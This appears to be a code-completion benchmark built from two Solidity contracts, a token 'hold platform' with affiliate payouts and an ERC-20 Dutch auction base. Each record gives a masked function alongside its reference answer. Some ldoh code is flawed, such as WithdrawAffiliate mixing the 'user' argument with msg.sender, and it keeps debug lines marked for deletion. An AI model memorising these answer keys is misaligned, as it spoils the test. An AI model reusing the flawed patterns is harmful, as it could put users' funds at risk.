contract ldoh is EthereumSmartContract { /*============================== = EVENTS = ==============================*/ event onCashbackCode (address indexed hodler, address cashbackcode); event onAffiliateBonus (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime); event onHoldplatform (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime); event onUnlocktoken (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime); event onReceiveAirdrop (address indexed hodler, uint256 amount, uint256 datetime); event onHOLDdeposit (address indexed hodler, uint256 amount, uint256 newbalance, uint256 datetime); event onHOLDwithdraw (address indexed hodler, uint256 amount, uint256 newbalance, uint256 datetime); /*============================== = VARIABLES = ==============================*/ //-------o Affiliate = 12% o-------o Cashback = 16% o-------o Total Receive = 88% o-------o Without Cashback = 72% o-------o //-------o Hold 24 Months, Unlock 3% Permonth // Struct Database struct Safe { uint256 id; // [01] -- > Registration Number uint256 amount; // [02] -- > Total amount of contribution to this transaction uint256 endtime; // [03] -- > The Expiration Of A Hold Platform Based On Unix Time address user; // [04] -- > The ETH address that you are using address tokenAddress; // [05] -- > The Token Contract Address That You Are Using string tokenSymbol; // [06] -- > The Token Symbol That You Are Using uint256 amountbalance; // [07] -- > 88% from Contribution / 72% Without Cashback uint256 cashbackbalance; // [08] -- > 16% from Contribution / 0% Without Cashback uint256 lasttime; // [09] -- > The Last Time You Withdraw Based On Unix Time uint256 percentage; // [10] -- > The percentage of tokens that are unlocked every month ( Default = 3% ) uint256 percentagereceive; // [11] -- > The Percentage You Have Received uint256 tokenreceive; // [12] -- > The Number Of Tokens You Have Received uint256 lastwithdraw; // [13] -- > The Last Amount You Withdraw address referrer; // [14] -- > Your ETH referrer address bool cashbackstatus; // [15] -- > Cashback Status } uint256 private idnumber; // [01] -- > ID number ( Start from 500 ) uint256 public TotalUser; // [02] -- > Total Smart Contract User mapping(address => address) public cashbackcode; // [03] -- > Cashback Code mapping(address => uint256[]) public idaddress; // [04] -- > Search Address by ID mapping(address => address[]) public afflist; // [05] -- > Affiliate List by ID mapping(address => string) public ContractSymbol; // [06] -- > Contract Address Symbol mapping(uint256 => Safe) private _safes; // [07] -- > Struct safe database mapping(address => bool) public contractaddress; // [08] -- > Contract Address mapping (address => mapping (uint256 => uint256)) public Bigdata; /** Bigdata Mapping : [1] Percent (Monthly Unlocked tokens) [7] All Payments [13] Total TX Affiliate (Withdraw) [2] Holding Time (in seconds) [8] Active User [14] Current Price (USD) [3] Token Balance [9] Total User [15] ATH Price (USD) [4] Min Contribution [10] Total TX Hold [16] ATL Price (USD) [5] Max Contribution [11] Total TX Unlock [17] Current ETH Price (ETH) [6] All Contribution [12] Total TX Airdrop [18] Unique Code **/ mapping (address => mapping (address => mapping (uint256 => uint256))) public Statistics; // Statistics = [1] LifetimeContribution [2] LifetimePayments [3] Affiliatevault [4] Affiliateprofit [5] ActiveContribution // Airdrop - Hold Platform (HOLD) address public Holdplatform_address; // [01] uint256 public Holdplatform_balance; // [02] mapping(address => uint256) public Holdplatform_status; // [03] mapping(address => uint256) public Holdplatform_divider; // [04] /*============================== = CONSTRUCTOR = ==============================*/ constructor() public { idnumber = 500; Holdplatform_address = 0x23bAdee11Bf49c40669e9b09035f048e9146213e; //Change before deploy } /*============================== = AVAILABLE FOR EVERYONE = ==============================*/ //-------o Function 01 - Ethereum Payable function () public payable { if (msg.value == 0) { tothe_moon(); } else { revert(); } } function tothemoon() public payable { if (msg.value == 0) { tothe_moon(); } else { revert(); } } function tothe_moon() private { for(uint256 i = 1; i < idnumber; i++) { Safe storage s = _safes[i]; if (s.user == msg.sender) { Unlocktoken(s.tokenAddress, s.id); } } } //-------o Function 02 - Cashback Code function CashbackCode(address _cashbackcode, uint256 uniquecode) public { require(_cashbackcode != msg.sender); if (cashbackcode[msg.sender] == 0x0000000000000000000000000000000000000000 && Bigdata[_cashbackcode][8] == 1 && Bigdata[_cashbackcode][18] != uniquecode ) { cashbackcode[msg.sender] = _cashbackcode; } else { cashbackcode[msg.sender] = EthereumNodes; } if (Bigdata[msg.sender][18] == 0 ) { Bigdata[msg.sender][18] = uniquecode; } emit onCashbackCode(msg.sender, _cashbackcode); } //-------o Function 03 - Contribute //--o 01 function Holdplatform(address tokenAddress, uint256 amount) public { require(amount >= 1 ); uint256 holdamount = add(Statistics[msg.sender][tokenAddress][5], amount); require(holdamount <= Bigdata[tokenAddress][5] ); if (cashbackcode[msg.sender] == 0x0000000000000000000000000000000000000000 ) { cashbackcode[msg.sender] = EthereumNodes; Bigdata[msg.sender][18] = 123456; } if (contractaddress[tokenAddress] == false) { revert(); } else { ERC20Interface token = ERC20Interface(tokenAddress); require(token.transferFrom(msg.sender, address(this), amount)); HodlTokens2(tokenAddress, amount); Airdrop(tokenAddress, amount, 1); } } //--o 02 function HodlTokens2(address ERC, uint256 amount) public { address ref = cashbackcode[msg.sender]; uint256 AvailableBalances = div(mul(amount, 72), 100); uint256 AvailableCashback = div(mul(amount, 16), 100); uint256 affcomission = div(mul(amount, 12), 100); uint256 nodecomission = div(mul(amount, 28), 100); if (ref == EthereumNodes && Bigdata[msg.sender][8] == 0 ) { AvailableCashback = 0; Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], nodecomission); Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], nodecomission); Bigdata[msg.sender][19] = 111; // Only Tracking ( Delete Before Deploy ) } else { Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], affcomission); Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], affcomission); Bigdata[msg.sender][19] = 222; // Only Tracking ( Delete Before Deploy ) } HodlTokens3(ERC, amount, AvailableBalances, AvailableCashback, ref); } //--o 04 function HodlTokens3(address ERC, uint256 amount, uint256 AvailableBalances, uint256 AvailableCashback, address ref) public { ERC20Interface token = ERC20Interface(ERC); uint256 TokenPercent = Bigdata[ERC][1]; uint256 TokenHodlTime = Bigdata[ERC][2]; uint256 HodlTime = add(now, TokenHodlTime); uint256 AM = amount; uint256 AB = AvailableBalances; uint256 AC = AvailableCashback; amount = 0; AvailableBalances = 0; AvailableCashback = 0; _safes[idnumber] = Safe(idnumber, AM, HodlTime, msg.sender, ERC, token.symbol(), AB, AC, now, TokenPercent, 0, 0, 0, ref, false); Statistics[msg.sender][ERC][1] = add(Statistics[msg.sender][ERC][1], AM); Statistics[msg.sender][ERC][5] = add(Statistics[msg.sender][ERC][5], AM); Bigdata[ERC][6] = add(Bigdata[ERC][6], AM); Bigdata[ERC][3] = add(Bigdata[ERC][3], AM); if(Bigdata[msg.sender][8] == 1 ) { idaddress[msg.sender].push(idnumber); idnumber++; Bigdata[ERC][10]++; } else { afflist[ref].push(msg.sender); idaddress[msg.sender].push(idnumber); idnumber++; Bigdata[ERC][9]++; Bigdata[ERC][10]++; TotalUser++; } Bigdata[msg.sender][8] = 1; emit onHoldplatform(msg.sender, ERC, token.symbol(), AM, HodlTime); Bigdata[msg.sender][19] = 333; // Only Tracking ( Delete Before Deploy ) } //-------o Function 05 - Claim Token That Has Been Unlocked function Unlocktoken(address tokenAddress, uint256 id) public { require(tokenAddress != 0x0); require(id != 0); Safe storage s = _safes[id]; require(s.user == msg.sender); require(s.tokenAddress == tokenAddress); if (s.amountbalance == 0) { revert(); } else { UnlockToken2(tokenAddress, id); } } <FILL_FUNCTION> //--o 02 function UnlockToken3(address ERC, uint256 id) private { Safe storage s = _safes[id]; require(s.id != 0); require(s.tokenAddress == ERC); uint256 timeframe = sub(now, s.lasttime); uint256 CalculateWithdraw = div(mul(div(mul(s.amount, s.percentage), 100), timeframe), 2592000); // 2592000 = seconds30days //--o = s.amount * s.percentage / 100 * timeframe / seconds30days ; uint256 MaxWithdraw = div(s.amount, 10); //--o Maximum withdraw before unlocked, Max 10% Accumulation if (CalculateWithdraw > MaxWithdraw) { uint256 MaxAccumulation = MaxWithdraw; } else { MaxAccumulation = CalculateWithdraw; } //--o Maximum withdraw = User Amount Balance if (MaxAccumulation > s.amountbalance) { uint256 realAmount1 = s.amountbalance; } else { realAmount1 = MaxAccumulation; } uint256 realAmount = add(s.cashbackbalance, realAmount1); uint256 newamountbalance = sub(s.amountbalance, realAmount1); s.cashbackbalance = 0; s.amountbalance = newamountbalance; s.lastwithdraw = realAmount; s.lasttime = now; UnlockToken4(ERC, id, newamountbalance, realAmount); } //--o 03 function UnlockToken4(address ERC, uint256 id, uint256 newamountbalance, uint256 realAmount) private { Safe storage s = _safes[id]; require(s.id != 0); require(s.tokenAddress == ERC); uint256 eventAmount = realAmount; address eventTokenAddress = s.tokenAddress; string memory eventTokenSymbol = s.tokenSymbol; uint256 tokenaffiliate = div(mul(s.amount, 12), 100) ; uint256 maxcashback = div(mul(s.amount, 16), 100) ; uint256 sid = s.id; if (cashbackcode[msg.sender] == EthereumNodes && idaddress[msg.sender][0] == sid ) { uint256 tokenreceived = sub(sub(sub(s.amount, tokenaffiliate), maxcashback), newamountbalance) ; }else { tokenreceived = sub(sub(s.amount, tokenaffiliate), newamountbalance) ;} uint256 percentagereceived = div(mul(tokenreceived, 100000000000000000000), s.amount) ; s.tokenreceive = tokenreceived; s.percentagereceive = percentagereceived; PayToken(s.user, s.tokenAddress, realAmount); emit onUnlocktoken(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now); Airdrop(s.tokenAddress, realAmount, 4); } //--o Pay Token function PayToken(address user, address tokenAddress, uint256 amount) private { ERC20Interface token = ERC20Interface(tokenAddress); require(token.balanceOf(address(this)) >= amount); token.transfer(user, amount); Bigdata[tokenAddress][3] = sub(Bigdata[tokenAddress][3], amount); Bigdata[tokenAddress][7] = add(Bigdata[tokenAddress][7], amount); Statistics[msg.sender][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount); Bigdata[tokenAddress][11]++; } //-------o Function 05 - Airdrop function Airdrop(address tokenAddress, uint256 amount, uint256 extradivider) private { if (Holdplatform_status[tokenAddress] == 1) { require(Holdplatform_balance > 0 ); uint256 divider = Holdplatform_divider[tokenAddress]; uint256 airdrop = div(div(amount, divider), extradivider); address airdropaddress = Holdplatform_address; ERC20Interface token = ERC20Interface(airdropaddress); token.transfer(msg.sender, airdrop); Holdplatform_balance = sub(Holdplatform_balance, airdrop); Bigdata[tokenAddress][12]++; emit onReceiveAirdrop(msg.sender, airdrop, now); } } //-------o Function 06 - Get How Many Contribute ? function GetUserSafesLength(address hodler) public view returns (uint256 length) { return idaddress[hodler].length; } //-------o Function 07 - Get How Many Affiliate ? function GetTotalAffiliate(address hodler) public view returns (uint256 length) { return afflist[hodler].length; } //-------o Function 08 - Get complete data from each user function GetSafe(uint256 _id) public view returns (uint256 id, address user, address tokenAddress, uint256 amount, uint256 endtime, string tokenSymbol, uint256 amountbalance, uint256 cashbackbalance, uint256 lasttime, uint256 percentage, uint256 percentagereceive, uint256 tokenreceive) { Safe storage s = _safes[_id]; return(s.id, s.user, s.tokenAddress, s.amount, s.endtime, s.tokenSymbol, s.amountbalance, s.cashbackbalance, s.lasttime, s.percentage, s.percentagereceive, s.tokenreceive); } //-------o Function 09 - Withdraw Affiliate Bonus function WithdrawAffiliate(address user, address tokenAddress) public { require(tokenAddress != 0x0); require(Statistics[user][tokenAddress][3] > 0 ); uint256 amount = Statistics[msg.sender][tokenAddress][3]; Statistics[msg.sender][tokenAddress][3] = 0; Bigdata[tokenAddress][3] = sub(Bigdata[tokenAddress][3], amount); Bigdata[tokenAddress][7] = add(Bigdata[tokenAddress][7], amount); uint256 eventAmount = amount; address eventTokenAddress = tokenAddress; string memory eventTokenSymbol = ContractSymbol[tokenAddress]; ERC20Interface token = ERC20Interface(tokenAddress); require(token.balanceOf(address(this)) >= amount); token.transfer(user, amount); Statistics[user][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount); Bigdata[tokenAddress][13]++; emit onAffiliateBonus(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now); Airdrop(tokenAddress, amount, 4); } /*============================== = RESTRICTED = ==============================*/ //-------o 01 Add Contract Address function AddContractAddress(address tokenAddress, uint256 CurrentUSDprice, uint256 CurrentETHprice, uint256 _maxcontribution, string _ContractSymbol, uint256 _PercentPermonth) public restricted { uint256 newSpeed = _PercentPermonth; require(newSpeed >= 3 && newSpeed <= 12); Bigdata[tokenAddress][1] = newSpeed; ContractSymbol[tokenAddress] = _ContractSymbol; Bigdata[tokenAddress][5] = _maxcontribution; uint256 _HodlingTime = mul(div(72, newSpeed), 30); uint256 HodlTime = _HodlingTime * 1 days; Bigdata[tokenAddress][2] = HodlTime; Bigdata[tokenAddress][14] = CurrentUSDprice; Bigdata[tokenAddress][17] = CurrentETHprice; contractaddress[tokenAddress] = true; } //-------o 02 - Update Token Price (USD) function TokenPrice(address tokenAddress, uint256 Currentprice, uint256 ATHprice, uint256 ATLprice, uint256 ETHprice) public restricted { if (Currentprice > 0 ) { Bigdata[tokenAddress][14] = Currentprice; } if (ATHprice > 0 ) { Bigdata[tokenAddress][15] = ATHprice; } if (ATLprice > 0 ) { Bigdata[tokenAddress][16] = ATLprice; } if (ETHprice > 0 ) { Bigdata[tokenAddress][17] = ETHprice; } } //-------o 03 Hold Platform function Holdplatform_Airdrop(address tokenAddress, uint256 HPM_status, uint256 HPM_divider) public restricted { require(HPM_status == 0 || HPM_status == 1 ); Holdplatform_status[tokenAddress] = HPM_status; Holdplatform_divider[tokenAddress] = HPM_divider; // Airdrop = 100% : Divider } //--o Deposit function Holdplatform_Deposit(uint256 amount) restricted public { require(amount > 0 ); ERC20Interface token = ERC20Interface(Holdplatform_address); require(token.transferFrom(msg.sender, address(this), amount)); uint256 newbalance = add(Holdplatform_balance, amount) ; Holdplatform_balance = newbalance; emit onHOLDdeposit(msg.sender, amount, newbalance, now); } //--o Withdraw function Holdplatform_Withdraw(uint256 amount) restricted public { require(Holdplatform_balance > 0 && amount <= Holdplatform_balance); uint256 newbalance = sub(Holdplatform_balance, amount) ; Holdplatform_balance = newbalance; ERC20Interface token = ERC20Interface(Holdplatform_address); require(token.balanceOf(address(this)) >= amount); token.transfer(msg.sender, amount); emit onHOLDwithdraw(msg.sender, amount, newbalance, now); } //-------o 04 - Return All Tokens To Their Respective Addresses function ReturnAllTokens() restricted public { for(uint256 i = 1; i < idnumber; i++) { Safe storage s = _safes[i]; if (s.id != 0) { if(s.amountbalance > 0) { uint256 amount = add(s.amountbalance, s.cashbackbalance); PayToken(s.user, s.tokenAddress, amount); s.amountbalance = 0; s.cashbackbalance = 0; Statistics[s.user][s.tokenAddress][5] = 0; } } } } /*============================== = SAFE MATH FUNCTIONS = ==============================*/ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } }
Safe storage s = _safes[id]; require(s.id != 0); require(s.tokenAddress == ERC); uint256 eventAmount = s.amountbalance; address eventTokenAddress = s.tokenAddress; string memory eventTokenSymbol = s.tokenSymbol; if(s.endtime < now){ //--o Hold Complete uint256 amounttransfer = add(s.amountbalance, s.cashbackbalance); Statistics[msg.sender][ERC][5] = sub(Statistics[s.user][s.tokenAddress][5], s.amount); s.lastwithdraw = amounttransfer; s.amountbalance = 0; s.lasttime = now; PayToken(s.user, s.tokenAddress, amounttransfer); if(s.cashbackbalance > 0 && s.cashbackstatus == false || s.cashbackstatus == true) { s.tokenreceive = div(mul(s.amount, 88), 100) ; s.percentagereceive = mul(1000000000000000000, 88); } else { s.tokenreceive = div(mul(s.amount, 72), 100) ; s.percentagereceive = mul(1000000000000000000, 72); } s.cashbackbalance = 0; emit onUnlocktoken(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now); } else { UnlockToken3(ERC, s.id); }
function UnlockToken2(address ERC, uint256 id) private
//--o 01 function UnlockToken2(address ERC, uint256 id) private
14968
AuctionBase
_bid
contract AuctionBase { // Represents an auction on an FT (ERC-20) struct Auction { // Current owner of FT (ERC-20) address seller; // Price (in wei) at beginning of auction uint128 startingPrice; // Price (in wei) at end of auction uint128 endingPrice; // Duration (in seconds) of auction uint64 duration; // Time when auction started // NOTE: 0 if this auction has been concluded uint64 startedAt; // Token Quantity uint256 tokenQuantity; // Token Address address tokenAddress; // Auction number of this auction wrt tokenAddress uint256 auctionNumber; } /// ERC-20 Auction Contract Address address public cryptiblesAuctionContract; // Cut owner takes on each auction, measured in basis points (1/100 of a percent). // Values 0-10,000 map to 0%-100% uint256 public ownerCut = 375; // Map to keep a track on number of auctions by an owner mapping (address => uint256) auctionCounter; // Map from token,owner to their corresponding auction. mapping (address => mapping (uint256 => Auction)) tokensAuction; event AuctionCreated(address tokenAddress, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 quantity, uint256 auctionNumber, uint64 startedAt); event AuctionWinner(address tokenAddress, uint256 totalPrice, address winner, uint256 quantity, uint256 auctionNumber); event AuctionCancelled(address tokenAddress, address sellerAddress, uint256 auctionNumber, uint256 quantity); event EtherWithdrawed(uint256 value); /// @dev Returns true if the claimant owns the token. /// @param _claimant - Address claiming to own the token. /// @param _totalTokens - Check total tokens being put on auction against user balance function _owns(address _tokenAddress, address _claimant, uint256 _totalTokens) internal view returns (bool) { StandardToken tokenContract = StandardToken(_tokenAddress); return (tokenContract.balanceOf(_claimant) >= _totalTokens); } /// @dev Escrows the ERC-20 Token, assigning ownership to this contract. /// Throws if the escrow fails. /// @param _owner - Current owner address of token to escrow. /// @param _totalTokens - Number of tokens (ERC-20) to function _escrow(address _tokenAddress, address _owner, uint256 _totalTokens) internal { // it will throw if transfer fails StandardToken tokenContract = StandardToken(_tokenAddress); tokenContract.transferFrom(_owner, this, _totalTokens); } /// @dev Transfers an Erc-20 Token owned by this contract to another address. /// Returns true if the transfer succeeds. /// @param _receiver - Address to transfer ERC-20 Token to. /// @param _totalTokens - Tokens to transfer function _transfer(address _tokenAddress, address _receiver, uint256 _totalTokens) internal { // it will throw if transfer fails StandardToken tokenContract = StandardToken(_tokenAddress); tokenContract.transfer(_receiver, _totalTokens); } /// @dev Adds an auction to the list of open auctions. Also fires the /// AuctionCreated event. /// @param _tokenAddress The address of the token to be put on auction. /// @param _auction Auction to add. function _addAuction(address _tokenAddress, Auction _auction) internal { // Require that all auctions have a duration of // at least one minute. require(_auction.duration >= 1 minutes); AuctionCreated( _tokenAddress, uint256(_auction.startingPrice), uint256(_auction.endingPrice), uint256(_auction.duration), uint256(_auction.tokenQuantity), uint256(_auction.auctionNumber), uint64(_auction.startedAt) ); } /// @dev Cancels an auction unconditionally. function _cancelAuction(address _tokenAddress, uint256 _auctionNumber) internal { // Get a reference to the auction struct Auction storage auction = tokensAuction[_tokenAddress][_auctionNumber]; address seller = auction.seller; uint256 tokenQuantity = auction.tokenQuantity; _removeAuction(_tokenAddress, _auctionNumber); _transfer(_tokenAddress, seller, tokenQuantity); AuctionCancelled(_tokenAddress, seller, _auctionNumber, tokenQuantity); } /// @dev Computes the price and transfers winnings. /// Does NOT transfer ownership of token. function _bid(address _tokenAddress, uint256 _auctionNumber, uint256 _bidAmount) internal {<FILL_FUNCTION_BODY> } /// @dev Removes an auction from the list of open auctions. /// @param _tokenAddress - Address of FT (ERC-20) on auction. /// @param _auctionNumber - Auction Number corresponding the auction bidding on function _removeAuction(address _tokenAddress, uint256 _auctionNumber) internal { delete tokensAuction[_tokenAddress][_auctionNumber]; } /// @dev Returns true if the FT (ERC-20) is on auction. /// @param _auction - Auction to check. function _isOnAuction(Auction storage _auction) internal view returns (bool) { return (_auction.startedAt > 0); } /// @dev Returns current price of an FT (ERC-20) on auction. Broken into two /// functions (this one, that computes the duration from the auction /// structure, and the other that does the price computation) so we /// can easily test that the price computation works correctly. function _currentPrice(Auction storage _auction) internal view returns (uint256) { uint256 secondsPassed = 0; // A bit of insurance against negative values (or wraparound). // Probably not necessary (since Ethereum guarnatees that the // now variable doesn't ever go backwards). if (now > _auction.startedAt) { secondsPassed = now - _auction.startedAt; } return _computeCurrentPrice( _auction.startingPrice, _auction.endingPrice, _auction.duration, secondsPassed ); } /// @dev Computes the current price of an auction. Factored out /// from _currentPrice so we can run extensive unit tests. /// When testing, make this function public and turn on /// `Current price computation` test suite. function _computeCurrentPrice( uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, uint256 _secondsPassed ) internal pure returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our public functions carefully cap the maximum values for // time (at 64-bits) and currency (at 128-bits). _duration is // also known to be non-zero (see the require() statement in // _addAuction()) if (_secondsPassed >= _duration) { // We've reached the end of the dynamic pricing portion // of the auction, just return the end price. return _endingPrice; } else { // Starting price can be higher than ending price (and often is!), so // this delta can be negative. int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice); // This multiplication can't overflow, _secondsPassed will easily fit within // 64-bits, and totalPriceChange will easily fit within 128-bits, their product // will always fit within 256-bits. int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration); // currentPriceChange can be negative, but if so, will have a magnitude // less that _startingPrice. Thus, this result will always end up positive. int256 currentPrice = int256(_startingPrice) + currentPriceChange; return uint256(currentPrice); } } /// @dev Computes owner's cut of a sale. /// @param _price - Sale price of NFT. function _computeCut(uint256 _price) internal view returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our entry functions carefully cap the maximum values for // currency (at 128-bits), and ownerCut <= 10000 (see the require() // statement in the ClockAuction constructor). The result of this // function is always guaranteed to be <= _price. return _price * ownerCut / 10000; } /// @dev Marks an address as being approved for transferFrom(), overwriting any previous /// approval. Setting _approved to address(0) clears all transfer approval. /// NOTE: _approve() does NOT send the Approval event. This is intentional because /// _approve() and transferFrom() are used together for putting Kitties on auction, and /// there is no value in spamming the log with Approval events in that case. function _approve(address _tokenAddress, address _approved, uint256 _tokenQuantity) internal { StandardToken tokenContract = StandardToken(_tokenAddress); tokenContract.approve(_approved, _tokenQuantity); } }
contract AuctionBase { // Represents an auction on an FT (ERC-20) struct Auction { // Current owner of FT (ERC-20) address seller; // Price (in wei) at beginning of auction uint128 startingPrice; // Price (in wei) at end of auction uint128 endingPrice; // Duration (in seconds) of auction uint64 duration; // Time when auction started // NOTE: 0 if this auction has been concluded uint64 startedAt; // Token Quantity uint256 tokenQuantity; // Token Address address tokenAddress; // Auction number of this auction wrt tokenAddress uint256 auctionNumber; } /// ERC-20 Auction Contract Address address public cryptiblesAuctionContract; // Cut owner takes on each auction, measured in basis points (1/100 of a percent). // Values 0-10,000 map to 0%-100% uint256 public ownerCut = 375; // Map to keep a track on number of auctions by an owner mapping (address => uint256) auctionCounter; // Map from token,owner to their corresponding auction. mapping (address => mapping (uint256 => Auction)) tokensAuction; event AuctionCreated(address tokenAddress, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 quantity, uint256 auctionNumber, uint64 startedAt); event AuctionWinner(address tokenAddress, uint256 totalPrice, address winner, uint256 quantity, uint256 auctionNumber); event AuctionCancelled(address tokenAddress, address sellerAddress, uint256 auctionNumber, uint256 quantity); event EtherWithdrawed(uint256 value); /// @dev Returns true if the claimant owns the token. /// @param _claimant - Address claiming to own the token. /// @param _totalTokens - Check total tokens being put on auction against user balance function _owns(address _tokenAddress, address _claimant, uint256 _totalTokens) internal view returns (bool) { StandardToken tokenContract = StandardToken(_tokenAddress); return (tokenContract.balanceOf(_claimant) >= _totalTokens); } /// @dev Escrows the ERC-20 Token, assigning ownership to this contract. /// Throws if the escrow fails. /// @param _owner - Current owner address of token to escrow. /// @param _totalTokens - Number of tokens (ERC-20) to function _escrow(address _tokenAddress, address _owner, uint256 _totalTokens) internal { // it will throw if transfer fails StandardToken tokenContract = StandardToken(_tokenAddress); tokenContract.transferFrom(_owner, this, _totalTokens); } /// @dev Transfers an Erc-20 Token owned by this contract to another address. /// Returns true if the transfer succeeds. /// @param _receiver - Address to transfer ERC-20 Token to. /// @param _totalTokens - Tokens to transfer function _transfer(address _tokenAddress, address _receiver, uint256 _totalTokens) internal { // it will throw if transfer fails StandardToken tokenContract = StandardToken(_tokenAddress); tokenContract.transfer(_receiver, _totalTokens); } /// @dev Adds an auction to the list of open auctions. Also fires the /// AuctionCreated event. /// @param _tokenAddress The address of the token to be put on auction. /// @param _auction Auction to add. function _addAuction(address _tokenAddress, Auction _auction) internal { // Require that all auctions have a duration of // at least one minute. require(_auction.duration >= 1 minutes); AuctionCreated( _tokenAddress, uint256(_auction.startingPrice), uint256(_auction.endingPrice), uint256(_auction.duration), uint256(_auction.tokenQuantity), uint256(_auction.auctionNumber), uint64(_auction.startedAt) ); } /// @dev Cancels an auction unconditionally. function _cancelAuction(address _tokenAddress, uint256 _auctionNumber) internal { // Get a reference to the auction struct Auction storage auction = tokensAuction[_tokenAddress][_auctionNumber]; address seller = auction.seller; uint256 tokenQuantity = auction.tokenQuantity; _removeAuction(_tokenAddress, _auctionNumber); _transfer(_tokenAddress, seller, tokenQuantity); AuctionCancelled(_tokenAddress, seller, _auctionNumber, tokenQuantity); } <FILL_FUNCTION> /// @dev Removes an auction from the list of open auctions. /// @param _tokenAddress - Address of FT (ERC-20) on auction. /// @param _auctionNumber - Auction Number corresponding the auction bidding on function _removeAuction(address _tokenAddress, uint256 _auctionNumber) internal { delete tokensAuction[_tokenAddress][_auctionNumber]; } /// @dev Returns true if the FT (ERC-20) is on auction. /// @param _auction - Auction to check. function _isOnAuction(Auction storage _auction) internal view returns (bool) { return (_auction.startedAt > 0); } /// @dev Returns current price of an FT (ERC-20) on auction. Broken into two /// functions (this one, that computes the duration from the auction /// structure, and the other that does the price computation) so we /// can easily test that the price computation works correctly. function _currentPrice(Auction storage _auction) internal view returns (uint256) { uint256 secondsPassed = 0; // A bit of insurance against negative values (or wraparound). // Probably not necessary (since Ethereum guarnatees that the // now variable doesn't ever go backwards). if (now > _auction.startedAt) { secondsPassed = now - _auction.startedAt; } return _computeCurrentPrice( _auction.startingPrice, _auction.endingPrice, _auction.duration, secondsPassed ); } /// @dev Computes the current price of an auction. Factored out /// from _currentPrice so we can run extensive unit tests. /// When testing, make this function public and turn on /// `Current price computation` test suite. function _computeCurrentPrice( uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, uint256 _secondsPassed ) internal pure returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our public functions carefully cap the maximum values for // time (at 64-bits) and currency (at 128-bits). _duration is // also known to be non-zero (see the require() statement in // _addAuction()) if (_secondsPassed >= _duration) { // We've reached the end of the dynamic pricing portion // of the auction, just return the end price. return _endingPrice; } else { // Starting price can be higher than ending price (and often is!), so // this delta can be negative. int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice); // This multiplication can't overflow, _secondsPassed will easily fit within // 64-bits, and totalPriceChange will easily fit within 128-bits, their product // will always fit within 256-bits. int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration); // currentPriceChange can be negative, but if so, will have a magnitude // less that _startingPrice. Thus, this result will always end up positive. int256 currentPrice = int256(_startingPrice) + currentPriceChange; return uint256(currentPrice); } } /// @dev Computes owner's cut of a sale. /// @param _price - Sale price of NFT. function _computeCut(uint256 _price) internal view returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our entry functions carefully cap the maximum values for // currency (at 128-bits), and ownerCut <= 10000 (see the require() // statement in the ClockAuction constructor). The result of this // function is always guaranteed to be <= _price. return _price * ownerCut / 10000; } /// @dev Marks an address as being approved for transferFrom(), overwriting any previous /// approval. Setting _approved to address(0) clears all transfer approval. /// NOTE: _approve() does NOT send the Approval event. This is intentional because /// _approve() and transferFrom() are used together for putting Kitties on auction, and /// there is no value in spamming the log with Approval events in that case. function _approve(address _tokenAddress, address _approved, uint256 _tokenQuantity) internal { StandardToken tokenContract = StandardToken(_tokenAddress); tokenContract.approve(_approved, _tokenQuantity); } }
// Get a reference to the auction struct Auction storage auction = tokensAuction[_tokenAddress][_auctionNumber]; // Explicitly check that this auction is currently live. // (Because of how Ethereum mappings work, we can't just count // on the lookup above failing. An invalid _tokenAddress will just // return an auction object that is all zeros.) require(_isOnAuction(auction)); // Check that the bid is greater than or equal to the current price uint256 price = _currentPrice(auction); require(_bidAmount >= price); // Grab a reference to the seller before the auction struct // gets deleted. address seller = auction.seller; uint256 quantity = auction.tokenQuantity; // The bid is good! Remove the auction before sending the fees // to the sender so we can't have a reentrancy attack. _removeAuction(_tokenAddress, _auctionNumber); // Transfer proceeds to seller (if there are any!) if (price > 0) { // Calculate the auctioneer's cut. // (NOTE: _computeCut() is guaranteed to return a // value <= price, so this subtraction can't go negative.) uint256 auctioneerCut = _computeCut(price); uint256 sellerProceeds = price - auctioneerCut; // NOTE: Doing a transfer() in the middle of a complex // method like this is generally discouraged because of // reentrancy attacks and DoS attacks if the seller is // a contract with an invalid fallback function. We explicitly // guard against reentrancy attacks by removing the auction // before calling transfer(), and the only thing the seller // can DoS is the sale of their own asset! (And if it's an // accident, they can call cancelAuction(). ) seller.transfer(sellerProceeds); } // Calculate any excess funds included with the bid. If the excess // is anything worth worrying about, transfer it back to bidder. // NOTE: We checked above that the bid amount is greater than or // equal to the price so this cannot underflow. uint256 bidExcess = _bidAmount - price; // Return the funds. Similar to the previous transfer, this is // not susceptible to a re-entry attack because the auction is // removed before any transfers occur. msg.sender.transfer(bidExcess); // Tell the world! AuctionWinner(_tokenAddress, price, msg.sender, quantity, _auctionNumber);
function _bid(address _tokenAddress, uint256 _auctionNumber, uint256 _bidAmount) internal
